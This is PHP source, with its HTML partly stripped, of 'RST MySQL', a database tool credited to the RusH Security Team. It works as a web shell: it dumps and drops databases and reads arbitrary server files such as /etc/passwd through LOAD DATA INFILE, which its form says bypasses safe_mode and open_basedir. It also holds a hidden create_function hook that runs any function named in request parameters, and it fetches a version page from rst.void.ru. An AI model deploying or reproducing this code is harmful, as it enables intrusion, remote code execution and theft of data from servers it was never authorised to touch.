$v) { if($k!='GLOBALS') { strips($el[$k]); } } } else { $el = stripslashes($el); } } if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $file = "C:\\tmp\\dump_".$db.".sql"; $p_v=$SystemRoot."\my.ini"; $os="win"; } else { $file = "/tmp/dump_".$db.".sql"; $p_v="/etc/passwd"; } if ($HTTP_GET_VARS['send']=='send_http') { function download($file, $type = false, $name = false, $down = false) { if(!file_exists($file)) exit; if(!$name) $name = basename($file); if($down) $type = "application/force-download"; else if(!$type) $type = "application/download"; $disp = $down ? "attachment" : "inline"; header("Content-disposition: ".$disp."; filename=".$name); header("Content-length: ".filesize($file)); header("Content-type: ".$type); header("Connection: close"); header("Expires: 0"); set_time_limit(0); readfile($file); unlink($file); exit; } if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['dump']=='bd'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); if (sizeof($tabs) == 0) { // получаем список таблиц базы $res = mysql_query("SHOW TABLES FROM $db", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_row($res)) { $tabs[] .= $row[0]; } } } // открываем файл для записи дампа $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); foreach($tabs as $tab) { if ($add_drop) { fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); } // получаем текст запроса создания структуры таблицы $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); $row = mysql_fetch_row($res); fputs($fp, $row[1].";\n\n"); // получаем данные таблицы $res = mysql_query("SELECT * FROM `$tab`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); } fclose($fp); } if ($HTTP_GET_VARS['strukt']=='d_strukt'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); // получаем текст запроса создания структуры таблицы $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); // получаем данные таблицы $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); } if ($HTTP_GET_VARS['strukt']=='t_strukt'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n"); $res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()."$f_error"); $row = mysql_fetch_row($res); fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n"); fputs($fp, $row[1].";\n\n"); fclose($fp); } if ($HTTP_GET_VARS['strukt']=='d'){ $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; $connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error".mysql_error()."$f_error"); mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $fp = fopen($file, "w"); $res = mysql_query("SELECT * FROM `$tbl`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fclose($fp); } download($f_dump); } function send_header() { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); } if ($HTTP_GET_VARS['img']=='st_form_bg') { $st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs='; send_header(); echo base64_decode($st_form_bg); } if ($HTTP_GET_VARS['img']=='bg_f') { $bg_f='R0lGODlhAQARAMQAANXW1+7w8uvt79TV18jJye3w8+zu8Ofp7MfIydzd3+fo687P0Nvc3eHi5eP'. 'k5sPDw87OzwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BA'. 'AAAAAALAAAAAABABEAAAUP4IMsQOIcRlAISsMMEBECADs='; send_header(); echo base64_decode($bg_f); } if ($HTTP_GET_VARS['img']=='b_close') { $b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'. 'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'. 'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'. 'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'. 'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'. '6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'. 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'. 'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'. 'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'. 'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'. 'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'. 'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'. '7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'. 'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'. 'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'. 'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'. 'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'. 'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'. 'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'. 'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7'; send_header(); echo base64_decode($b_close); } $n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");'); $h_error="
Ошибка в запросе:

"; $f_error="

free script ©RusH Security Team
"; print " RST MySQL "; if ($sapi_type == "cgi") { $php_type="CGI"; } else { $php_type="модуль"; } $form_file="
Чтение произвольного файла, сервера ( $server )
При условии, что файл доступен для чтения и при наличии у пользователя привилегии FILE, SELECT, CREATE, правильном пути и имени - возможно чтение произвольного файла. Обход ограничений при safe_mode и safe_basedir

Полный путь к файлу:          

"; $start_form="
Ņ RST MySQL v(2.0) ".date ("j F- Y- g:i")."  

Утилита для работы с MySQL

  • Просмотр баз и таблиц.
  • Произвольные запросы к БД.
  • Редактирование баз и таблиц.
  • Дампы БД или таблиц.
    Type - FREE
    Home page: http://rst.void.ru


    ¨

  • Для соединения с сервером MySQL введите ИМЯ, ПАРОЛЬ (пользователя MySQL) и имя ХОСТА.

  • Если логин юзера mysql не указан явно, по умолчанию подставляется имя владельца процесса.
  • Если пароль юзера mysql не указан явно, по умолчанию подставляется пустой пароль.
  • Если имя севрвера mysql не указано явно, по умолчанию подставляется localhost
  • Если порт для севрвера mysql не указан явно, подставляется порт по умолчанию, обычно (3306)

    Версия PHP (".phpversion().")          ID PHP script (".get_current_user( ).")

    имя юзера MySQLпароль юзера MySQL 
    Сервер MySQLпорт

  • free script ©RusH Security Team
    (coded by dinggo)
    "; if ($os =='win') { $os="OS- ".$HTTP_ENV_VARS["OS"].""; }else{ $str_k=$_ENV["BOOT_FILE"]; $k=preg_replace ("/[a-zA-Z\/]/","", $str_k); $os="OS\Kernel: ".$_ENV["BOOT_IMAGE"].$k.""; } if (!isset($s) || $HTTP_GET_VARS[s] != 'y') { print $start_form; $serv = array(127,192,172,10); $adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]); if (!in_array($adrr[0], $serv)) { //при появлении новой версии утилиты покажем что доступна //новая версия и предложим загрузить ее с сайта @print ""; @readfile ("http://rst.void.ru/version_sql/version.php"); } exit; } $form_ad_b="
    MySQL $server v.(".mysql_get_server_info().") ".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]." Версия PHP (".phpversion().") $php_type
    IP:".$HTTP_SERVER_VARS["SERVER_ADDR"]." Name:".$HTTP_SERVER_VARS["SERVER_NAME"]." ID PHP script (".get_current_user( ).") $os
    Статистика MySQL Информация PHP (ALL) Процессы MySQL
    Переменные Apache Переменные MySQL Файл *?

    Создать новую базу данных
    "; $cnt_b=mysql_num_rows(mysql_list_dbs()); // кол-во баз mysql сервера print "
    Ņ RST MySQL $server [CONNECTION Ok]   Всего баз: $cnt_b ".date ("j F- Y- g:i")."  
    "; if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){ $connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header
    Ошибка соединения с MySQL сервером $server
    ".mysql_error()."

    Вероятные ошибки:
  • Не правильный адрес сервера $server
  • Не правильный номер порта $port
  • Не верное имя (login) юзера mysql $login
  • Не верный пароль (password) юзера mysql $passwd
  • Доступ к серверу $server запрещен с адреса ".getenv('REMOTE_ADDR')."
  • Удаленный сервер временно не доступен

  • "); } /*---------------------- L E F T B L O C K (menu bd)! -------------------*/ /*Показать все базы сервера*/ if ($connection&&!isset($db)) { print "
    ". "". "Показать все базы
    "; $result = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error"); while ( $row=mysql_fetch_row($result) ){ $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //кол-во таблиц базы print "
    "; if ($cnt_title < 1) { print "$row[0]"; }else{ print "$row[0]"; } print "
    "; } } // список таблиц базы данных if (isset($db)){ $result=mysql_list_tables($db) or die ("$h_error".mysql_error()."$f_error"); print "
    ". "". "Показать все базы
    "; print "
    ". "---[ $db". " ]---
    "; while ( $row=mysql_fetch_array($result) ){ //получаем количество строк(записей) в таблице $count=mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row= mysql_fetch_array($count); print "". "
    "; if ($count_row[0] < 1) { print "$row[0] ($count_row[0])
    "; }else{ print "$row[0] ($count_row[0])
    "; } @mysql_free_result($count); } } /*---------------------- END L E F T B L O C K (menu bd)! -------------------*/ print " "; /*------------------------ R I G H T B L O C K ! -----------------------*/ if ($connection&&!isset($db)) { $anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection); if (mysql_num_rows($anon)>0) { print "
    Внимание!
    Анонимным пользователям разрешено подключение к серверу MySQL
    "; } print $form_ad_b; } /*-------------Процессы MySql------------*/ if (isset($proc) && $proc=="TRUE"){ $result = mysql_query("SHOW PROCESSLIST", $connection); print "
    Процессы MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    IDUSERHOSTDBCOMMANDTIMESTATEINFO
    $row[0]$row[1]$row[2]$row[3]$row[4]$row[5]$row[6]$row[7]

    "; mysql_free_result($result); unset($proc); } /*Создаем новую базу*/ if (isset($HTTP_GET_VARS['new_db'])){ $new_db=trim($HTTP_GET_VARS['new_db']); if (mysql_create_db ($new_db)) { print ("
    База $new_db успешно создана

    "); print ""; } else { print "$h_error".mysql_error()."$f_error "; } unset($new_db); } /*Удаление базы*/ if (isset($HTTP_GET_VARS['drop'])){ $result_d = mysql_list_dbs($connection) or die("$h_error".mysql_error()."$f_error"); while ( $row_d=mysql_fetch_row($result_d) ){ if ($drop==$row_d[0]) $dr="TRUE"; } if ($dr="TRUE") { mysql_drop_db($drop,$connection); print ("
    База $drop успешно удалена

    "); print ""; } unset($drop); } /*-------------Читаем произвольный файл сервера-----------*/ if (isset($f)){ print $form_file; } if(isset($p_file)){ mysql_create_db("tmp_bd") or die("$h_error".mysql_error()."$f_error"); mysql_select_db("tmp_bd") or die("$h_error".mysql_error()."$f_error"); mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error".mysql_error()."$f_error"); mysql_query("LOAD DATA INFILE \"".addslashes($p_file)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); /*получаем названия столбцов*/ for ($i=0;$i$name
    Полный путь к файлу:     
    "; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { foreach ($line as $key =>$col_value) { print htmlspecialchars($col_value)."
    "; } } mysql_free_result($result); print "
    "; mysql_drop_db("tmp_bd") or die("$h_error".mysql_error()."$f_error"); } /*--------------переменные сервера Apache------------*/ if (isset($apc) && $apc=="TRUE"){ print "
    Переменные сервера Apache [ $server ]
    ОписаниеПеременная
    Имя Internet-хоста".$HTTP_SERVER_VARS["SERVER_NAME"]."
    IP-адрес хоста".$HTTP_SERVER_VARS["SERVER_ADDR"]."
    Порт Web-сервера.".$HTTP_SERVER_VARS["SERVER_PORT"]."
    Спецификация CGI интефейса.".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."
    Протокол при запросе данной страницы (метод).".$HTTP_SERVER_VARS["REQUEST_METHOD"]."
    Root директория для данного пользователя.".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."
    Заголовок текущего запроса.".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."
    Директива httpd.conf (SERVER_ADMIN).".$HTTP_SERVER_VARS["SERVER_ADMIN"]."
    Сигнатура сервера.".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."

    "; unset($apc); } /*---------------Статистика MySQL сервера--------------*/ if (isset($stat) && $stat=="TRUE"){ $result = mysql_query("SHOW STATUS", $connection); print "
    Переменные состояния MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    Переменные состояния серверазначения переменных
    $row[0]$row[1]
    "; mysql_free_result($result); } /*---------------Системные переменные MySQL сервера--------------*/ if (isset($var) && $var=="TRUE"){ $result = mysql_query("SHOW VARIABLES ", $connection); print "
    Системные переменные MySQL сервера [ $server ]
    "; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { print ""; } print "
    Переменные серверазначения переменных
    $row[0]$row[1]
    "; mysql_free_result($result); unset($var); } /*-------------вывод данных таблиц------------*/ if (isset($db) && !isset($tbl)) { $cnt=mysql_num_rows(mysql_list_tables($db)); //кол-во таблиц базы print "
    Создать таблицу SQL-запрос структура Дамп базы удалить базу

    "; print "  БД:($db)   Всего таблиц:($cnt)"; if (isset($t)) { print "
      ".base64_decode($t);} if (isset($t2)) { print base64_decode($t2);} /*-------------Структура базы ------------------*/ if (isset($str) && $str=='TRUE'){ mysql_select_db($db); if ($cnt < 1) { print "". "

    Невозможно показать структуру базы
    В базе ". "$db нет таблиц!


    "; }else{ $result = mysql_query("SHOW TABLE STATUS", $connection); print "
    Структура базы [ $db ]
    ". "". "". ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { $size=$row[5]/1000; print "". ""; } print "
    имя таблицытипрядовсозданамодифицированаразмер(kb)действие
    $row[0]$row[1]$row[3]$row[10]$row[11]$size". "уничтожить

    "; mysql_free_result($result); } } print "
    "; } /*------------дамп базы----------------*/ $form_dump_bd= "
    ". "". "". "". "". "". "". "". "". "". "
    ". "". "". "". "". "". "". "". "
    Dump базы [ $db ]
    Структура и данные

    Действие (показать/отправить)
    Показать в броузере
    Отправить файл дампа по HTTP

    ". "
    "; if ($HTTP_GET_VARS['dump']=='bd') { if ($cnt >= 1) { print $form_dump_bd; }else{ print "". "

    Невозможно сделать дамп базы
    В базе ". "$db нет таблиц!


    "; } } $host = $HTTP_SERVER_VARS["SERVER_NAME"]; $ip = $HTTP_SERVER_VARS["SERVER_ADDR"]; if ($HTTP_GET_VARS['strukt']=='d_strukt_bd' && $HTTP_GET_VARS['send']=='send_br'){ if (sizeof($tabs) == 0) { // получаем список таблиц базы $res = mysql_query("SHOW TABLES FROM $db", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_row($res)) { $tabs[] .= $row[0]; } } } // открываем файл для записи дампа $fp = fopen($file, "w"); fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); foreach($tabs as $tab) { if ($add_drop) { fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); } // получаем текст запроса создания структуры таблицы $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); $row = mysql_fetch_row($res); fputs($fp, $row[1].";\n\n"); // получаем данные таблицы $res = mysql_query("SELECT * FROM `$tab`", $connection); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql); } } fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); } fclose($fp); $dump_file=file($file); print "
    "; print ""; foreach ($dump_file as $k=>$v) { $v=str_replace("\n","
    ",$v); print ""; } print "
    ".strip_tags($v,"
    ")."

    "; unlink($file); } /*--------------Создать новую таблицу---------------*/ $form_cr_tbl= "
    ". "". "". "". "". "". "". "
    ". "". "". "". "". "". "
    Создать новую таблицу в базе [ $db ]
    Имя новой таблицы:
    Количество полей таблицы:            

    ". "
    "; if (isset($HTTP_GET_VARS['cr_tbl']) && $HTTP_GET_VARS['cr_tbl']=='new'){ print "$form_cr_tbl"; } if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) { print ""; print "$form_cr_tbl"; } if ( (ereg("[0-9]",$HTTP_GET_VARS['new_count_cols'])) && ($HTTP_GET_VARS['new_tbl_name'] !=='') ) { for ($i=0; $i < $HTTP_GET_VARS['new_count_cols']; $i++) { $pole_count .= "". "". " ". "". " ". " ". "". " ". "". "". "". "". ""; } print "
    ". "". "". "". "". "". "". "". "
    ". "". "". "". "". "
    Создать новую таблицу [ $new_tbl_name ] в базе [ $db ]
    ". "". ""; print $pole_count; print "
    ПолеТипДлиннаАтрибутыНольПо умолчаниюДополнительноПервичныйИндексУник-oе---

    Коментарий к таблице:     Тип таблицы:      Показать PHP-код запроса

    ". "
    "; } if (isset($HTTP_GET_VARS['field_name'])) { for ($i=0; $i0) { $n_prim=substr_replace($n_prim,"",-2); $n_name .=", PRIMARY KEY ($n_prim)"; } if (count($n_ind)) { $n_ind=substr_replace($n_ind,"",-2); $n_name .=", INDEX ($n_ind)"; } if (count($n_uniq)) { $n_uniq=substr_replace($n_uniq,"",-2); $n_name .=", UNIQUE ($n_uniq)"; } $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )"; if ($HTTP_GET_VARS['tbl_type'] !=='Default') { $sql_new_tbl .= " TYPE =$tbl_type"; } if ($HTTP_GET_VARS['comment'] !=='') { $sql_new_tbl .= " COMMENT = '$comment'"; } $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $new_tbl_name ] успешно создана.
    "); if ($HTTP_GET_VARS['php_kod']=='ok') { $t2=base64_encode("
    PHP-код запроса:
    \$sql='$sql_new_tbl';


    "); }else{ $t2=''; } print ""; } /*--------------END cоздать новую таблицу---------------*/ /*-------------Произвольный запрос к БД-------------*/ if ($HTTP_GET_VARS['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; } if ($HTTP_GET_VARS['return_sql']=='ok') { $q_bd=trim($HTTP_GET_VARS['new_query_bd']);} $form_query_db="
    Выполнить произвольный запрос к базе ( $db )
    Показать PHP-код запроса

    Показать данный запрос снова

    Примеры запросов
    "; if (isset($db) && $HTTP_GET_VARS['q_tbl']=='bd') { print $form_query_db; } if (isset($new_query_bd)) { $new_query_bd=trim($new_query_bd); print $form_query_db; if ($HTTP_GET_VARS['php_kod']=='ok') { print "   PHP-код запроса:
       \$sql=\"$new_query_bd\";

    "; } $r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error"); print "   Запрос успешно выполнен"; if ($r_q_bd !=='') { print ""; while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) { print ""; foreach ($line_bd as $key_bd =>$col_value_bd) { print ""; } print ""; } print "
    ".htmlspecialchars($col_value_bd)."

    "; @mysql_free_result($r_q_bd); } } /*---------------Удаление таблицы------------*/ if (isset($drop_table) && isset($db)){ mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); $query = "DROP TABLE IF EXISTS $drop_table"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $drop_table ] успешно удалена.
    "); print ""; unset($drop_table); } if (isset($q_i)) { $n_img($tag,$f_n,$img_c); } if (isset($db) && isset($tbl)) { /*Получаем количество строк в таблице*/ $count=mysql_query ("SELECT COUNT(*) FROM $tbl"); $count_row= mysql_fetch_array($count); //$count_row[0] кол-во строк mysql_free_result($count); print "
    Структура Вставить SQL-запрос Дамп таблицы Переименовать Удалить таблицу

    "; if (isset($t)) { print "  ".base64_decode($t);} print "  БД:($db)    Таблица:($tbl)    Всего строк:($count_row[0])
    "; if (isset($HTTP_GET_VARS['query_tbl']) || $HTTP_GET_VARS['q_tbl']=='table') { print $form_query_db_tbl."
    "; } if (isset($new_query_tbl)) { $new_query_tbl=trim($new_query_tbl); print $form_query_db_tbl; $result_tbl = mysql_query($new_query_tbl) or die("$h_error".mysql_error()."$f_error"); if ($result_tbl !=='') { print "
    "; $start=$limit_start+$limit_count; if (isset($start) && ($start>0)) { print ""; if ($start+$limit_count >= $count_row[0]){ $start=$limit_start; $limit_count=$count_row[0]-$start; } if (isset($start) && ($limit_start >= 30) ){ $back=$limit_start-30; print ""; } print " "; if ( isset($limit_start) && ($start <= $count_row[0]) ){ print ""; } print "
      
      от строки    строк таблицы
    >\">
    "; } /*------------Переименование таблицы------------*/ if ($alter_table=="TRUE"){ print "
    Переименовать таблицу [ $tbl ]
    Новое имя таблицы:
    "; } if (isset($alttbl)){ mysql_select_db($db) or die("$h_error".mysql_error()."$f_error"); //$query = "RENAME TABLE $tbl TO $alttbl"; $query = "ALTER TABLE $tbl RENAME TO $alttbl"; $result = mysql_query($query) or die("$h_error".mysql_error()."$f_error"); $t=base64_encode("Action: Таблица [ $tbl ] переименована в [ $alttbl ]
    "); print ""; } /*-------------------Структура таблицы-----------------*/ if (isset($st_tab) && $st_tab=='TRUE'){ mysql_select_db($st_db); $result = mysql_query('desc '.$tbl, $connection); print "
    Структура таблицы [ $tbl ]
    ". ""; for ($i=0;$i<@mysql_num_fields($result);$i++){ $name=mysql_field_name($result,$i); $name=eregi_replace("Field","Поле",trim($name)); $name=eregi_replace("Type","Тип",trim($name)); $name=eregi_replace("Null","Ноль",trim($name)); $name=eregi_replace("Key","Индексы",trim($name)); $name=eregi_replace("Default","По умолчанию",trim($name)); $name=eregi_replace("Extra","Дополнительно",trim($name)); $nn .= ""; } print "$nn"; while ($l_tbl = @mysql_fetch_array($result, MYSQL_ASSOC)) { print ""; foreach ($l_tbl as $k_tbl =>$col_v_tbl) { if (strtoupper(substr($col_v_tbl, 0, 3)) === 'PRI') { $col_v_tbl="Первичный"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'UNI') { $col_v_tbl="Уникальный"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'MUL' && $col_v_tbl !=='') { $col_v_tbl="Индекс"; } if (strtoupper(substr($col_v_tbl, 0, 3)) === 'YES') { $col_v_tbl="Да"; } if (eregi("Field", $k_tbl)) { print ""; }elseif (eregi("Type", $k_tbl)) { print ""; }else{ print ""; } } print ""; } print "
    $name
    ".htmlspecialchars($col_v_tbl)."".htmlspecialchars($col_v_tbl)."".htmlspecialchars($col_v_tbl)."

    "; @mysql_free_result($result); } /*-------------Произвольный запрос к таблице-------------*/ if ($HTTP_GET_VARS['q_tbl']=='table') { $q_tbl="SELECT * FROM `$tbl` WHERE 1 LIMIT 0, 30"; } if ($HTTP_GET_VARS['return_sql']=='ok') { $q_tbl=trim($HTTP_GET_VARS['new_query_tbl']); } $form_query_db_tbl="
    Выполнить произвольный запрос к таблице ( $tbl )
    Показать PHP-код запроса

    Показать данный запрос снова

    Примеры запросов
    "; if ($php_kod=='ok') { print "PHP-код запроса:
    \$sql = \"$new_query_tbl\";

    "; } if (preg_match("[drop]",$new_query)) { print "Таблица удалена, обновите список таблиц базы."; } print "
    Запрос успешно выполнен
    "; /*получаем названия столбцов*/ for ($i=0;$i<@mysql_num_fields($result_tbl);$i++){ $name_tbl=mysql_field_name($result_tbl,$i); print ""; } print ""; while ($line_tbl = @mysql_fetch_array($result_tbl, MYSQL_ASSOC)) { print ""; foreach ($line_tbl as $key_tbl =>$col_value_tbl) { print ""; } print ""; } print "
    $name_tbl
    ".htmlspecialchars($col_value_tbl)."

    "; @mysql_free_result($result_tbl); } } /*-------------показать строки таблицы--------------*/ if (!isset($alter_table) && !isset($st_tab) && !isset($query_tbl) && !isset($new_query_tbl) && !isset($dump) && !isset($strukt) && !isset($query_edit) && !isset($query_del) && !isset($q_get) && !isset($nn_row) && !isset($nn) && !isset($upd_f)) { print "
